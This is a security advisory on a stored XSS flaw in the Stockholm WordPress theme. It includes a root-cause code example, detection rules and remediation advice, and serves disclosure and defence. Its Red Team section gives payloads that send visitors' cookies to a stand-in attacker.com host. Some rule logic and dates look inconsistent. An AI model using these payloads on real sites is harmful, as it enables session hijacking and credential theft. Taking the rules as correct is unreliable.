CVE-2025-68077

Executive Summary

CVE-2025-68077 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Stockholm WordPress theme by Select-Themes, up to and including version 9.14.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject malicious scripts into the theme’s settings or post content. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available. This report provides technical analysis, detection rules, and mitigation guidance.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Since the theme is a PHP-based package, the risk extends to any site running the Stockholm theme. Organizations should verify the integrity of their theme files and monitor for unauthorized modifications. No official patch has been released by Select-Themes as of this writing.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – A victim must view the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the immediate risk. However, in multi-tenant WordPress environments or sites with many contributors, the impact can be significant.

Deep Dive & Mechanics

The Stockholm theme fails to sanitize or escape user input when processing theme options, customizer settings, or post metadata. An attacker with contributor-level access can inject JavaScript payloads into fields such as custom CSS, header/footer scripts, or widget text. When the page is rendered, the payload is stored in the database and executed in the context of any user viewing the affected page.

Root Cause: The theme uses functions like echo or the_content without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post() on user-supplied data.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker navigates to a vulnerable input field (e.g., Theme Options > Custom CSS).
3. Attacker injects a payload like <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When an administrator or other user visits the affected page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from theme options):

// In stockholm/functions.php or similar
function stockholm_custom_css_output() {
    $custom_css = get_option('stockholm_custom_css');
    echo '<style>' . $custom_css . '</style>'; // No escaping
}

Patched Code (hypothetical):

function stockholm_custom_css_output() {
    $custom_css = get_option('stockholm_custom_css');
    echo '<style>' . esc_html( $custom_css ) . '</style>'; // Escaped
}

The patched version uses esc_html() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with the Stockholm theme (version <= 9.14.1).
• A contributor-level account.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Appearance > Customize > Additional CSS or Theme Options > Custom CSS.
3. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the changes.
5. Wait for an administrator to view the site or the customizer preview.

Alternative Payload (for session hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team

Detection:

• Monitor for unusual changes to theme options or custom CSS fields.
• Look for JavaScript payloads in database entries related to stockholm_* options.
• Use the detection rules below.

Hunting:

• Query the WordPress database for suspicious entries:

  SELECT * FROM wp_options WHERE option_name LIKE '%stockholm%' AND option_value LIKE '%<script%';
  

• Review server logs for requests to /wp-admin/admin-ajax.php with suspicious parameters.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – theme files may vary)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing document.cookie or fetch in query strings.
• Database Indicators:
  • Rows in wp_options with option_name containing stockholm and option_value containing <script> tags.
• Log Indicators:
  • Repeated access to /wp-admin/customize.php from a single user.
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=save-customize-css.

Detection Engineering

YARA Rule

rule CVE_2025_68077_Stockholm_XSS {
    meta:
        description = "Detects stored XSS payloads in Stockholm theme options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68077"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/is
        $theme_marker = "stockholm"
    condition:
        any of ($payload*) and $theme_marker
}

Sigma Rule

title: Stored XSS in Stockholm Theme Options
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in Stockholm theme custom CSS or options
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68077
logsource:
    category: application
    product: wordpress
detection:
    selection:
        - option_name|contains: 'stockholm'
        - option_value|contains: '<script'
        - option_value|contains: 'onerror'
        - option_value|contains: 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in theme options (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68077 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Stockholm theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
   • Remove any suspicious entries from the wp_options table using a database management tool.
   • Change all user passwords, especially for administrator accounts.

2. Long-Term Fix:

   • Apply a patch from Select-Themes when available. Monitor their official website or GitHub repository.
   • If no patch is released, consider migrating to an alternative theme.

3. Compensating Controls:

   • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
   • Use a WordPress security plugin (e.g., Wordfence) to monitor file changes and block malicious input.
   • Restrict contributor-level access to only trusted users.

4. Detection:

   • Deploy the YARA, Sigma, and Suricata rules provided above.
   • Enable logging for all WordPress admin actions.

Valters IT
Securing Digital Frontiers